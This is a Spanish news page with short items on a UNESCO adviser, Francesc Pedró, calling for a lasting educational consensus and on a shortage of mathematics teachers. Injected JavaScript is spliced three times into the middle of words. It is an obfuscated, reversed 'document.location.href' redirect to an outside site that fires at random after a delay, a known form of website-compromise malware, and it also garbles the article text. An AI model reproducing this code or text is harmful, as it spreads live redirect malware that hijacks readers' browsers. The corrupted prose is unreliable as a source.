Consenso educativo para al menos dos generaciones

El directobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tor y asesor de políticas educativas en la UNESCO, Francesc Pedró, fue el invitado del 33 Diálogo de Educación organizado por Cofapa, donde apeló a la necesidad de un consenso educativo estable en el tiempo.

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La falta de matemáticos amenaza la calidad de la enseñanza de la asignatura

Faltan matemáticos en colegios e institutobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos. Las oportunidades que estobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tos titulados encuentran en las empresas han frenado su tradicional orientación hacia la enseñanza y ha contribuido a que administraciones y centros tengan serias dificultades a la hora de encontrar los perfiles adecuados para impartir la asignatura.

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